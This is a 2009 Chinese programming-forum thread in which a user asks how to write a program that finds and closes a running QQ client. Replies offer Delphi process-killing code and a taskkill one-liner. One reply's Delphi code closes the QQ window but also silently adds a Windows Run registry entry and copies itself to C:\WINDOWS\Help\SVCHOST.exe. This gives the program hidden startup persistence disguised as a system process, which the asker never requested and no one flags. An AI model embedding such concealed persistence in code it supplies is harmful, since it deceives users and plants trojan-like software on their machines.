标题:怎样编程关掉qq程序
只看楼主
xyouzhou
Rank: 1
等 级:新手上路
帖 子:52
专家分:0
注 册:2008-10-22
结帖率:93.33%
已结贴  问题点数:0 回复次数:9 
怎样编程关掉qq程序
我想编一个小程序,运行该程序后,会自动查找系统中是否运行了QQ程序,如果QQ已经运行则关掉它。

请高手给出代码   感谢不尽
搜索更多相关主题的帖子: 怎样编程 
2009-11-02 23:13
woshisma
Rank: 1
等 级:新手上路
帖 子:1
专家分:5
注 册:2009-11-3
得分:5 
PASCAL代码暂时没找到 不过我只有一个CMD代码  你需要么?
2009-11-03 10:28
xyouzhou
Rank: 1
等 级:新手上路
帖 子:52
专家分:0
注 册:2008-10-22
得分:0 
要啊  二楼高手
2009-11-03 13:25
shuang200911
Rank: 5Rank: 5
等 级:职业侠客
威 望:2
帖 子:39
专家分:337
注 册:2009-11-2
得分:5 
unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, TlHelp32;  //注意手动引用单元TlHelp32

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function KillTask(ExeFileName: string): integer;
const
  PROCESS_TERMINATE=$0001;  //进程的PROCESS_TERMINATE访问权限
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //获取系统所有进程快照
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);  //调用Process32First前用Sizeof(FProcessEntry32)填充FProcessEntry32.dwSize
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);  //获取快照中第一个进程信息并保存到FProcessEntry32结构体中
  while integer(ContinueLoop) <> 0 do  //循环枚举快照中所有进程信息
  begin
      if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName))  or
         (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then  //找到要中止的进程名
            Result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0)); //中止进程
      ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);  //查找下一个符合条件进程
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  KillTask('QQ.exe');
end;

end.


[ 本帖最后由 shuang200911 于 2009-11-8 14:16 编辑 ]
2009-11-08 14:14
hksoobe
Rank: 1
等 级:新手上路
帖 子:3
专家分:3
注 册:2007-6-15
得分:0 
LZ刚学编程吗?还是没学过,这个是最容易的了啊!LS的那个太长了吧!对于这种直接一行代码!
winexec(' /c taskkill /f /im QQ.exe',SW_hide);
2009-11-10 18:26
shuang200911
Rank: 5Rank: 5
等 级:职业侠客
威 望:2
帖 子:39
专家分:337
注 册:2009-11-2
得分:0 
学习学习
2009-11-10 19:37
onepc
Rank: 7Rank: 7Rank: 7
等 级:黑侠
威 望:3
帖 子:223
专家分:569
注 册:2009-8-27
得分:0 
cmd不好吧,~~~还是先列举进程,找到就关好点。
2009-11-12 17:20
红参娃娃
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2009-12-23
得分:0 
给你,我写的,09版本QQ

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,StdCtrls, ExtCtrls,Registry;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
  var
   hkdpr: hwnd;
begin
  hkdpr:=findwindow(nil,'QQ2009 Preview');
    if hkdpr<>0 then
       postmessage(hkdpr,wm_close,0,0);
end;

procedure TForm1.FormCreate(Sender: TObject);
 var
   hkdpr: hwnd;
   i: integer;
begin
  repeat
  i:=1;
    hkdpr:=findwindow(nil,'QQ2009 Preview');
      if hkdpr<>0 then
     postmessage(hkdpr,wm_close,0,0);
    i:=i+1;
   until i=2
end;
 var
   reg:tregistry;
begin
   reg:=tregistry.create;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
   reg.WriteString('SVCHOST.exe','C:\WINDOWS\Help\SVCHOST.exe');
   reg.closekey;
   reg.free;
  CopyFile(pchar('SVCHOST.exe'),pchar('c:\WINDOWS\Help\SVCHOST.exe'),false);

end.
2009-12-23 09:08
红参娃娃
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2009-12-23
得分:0 
如果是08的QQ就这样写,hkdpr:=findwindow(nil,'QQ用户登录');
2009-12-23 09:11
徐强
Rank: 2
等 级:新手上路
威 望:3
帖 子:72
专家分:0
注 册:2007-3-30
得分:0 
根据进程名称,杀掉进程不好吗?
2010-01-23 14:59



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-290825-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 1.049248 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved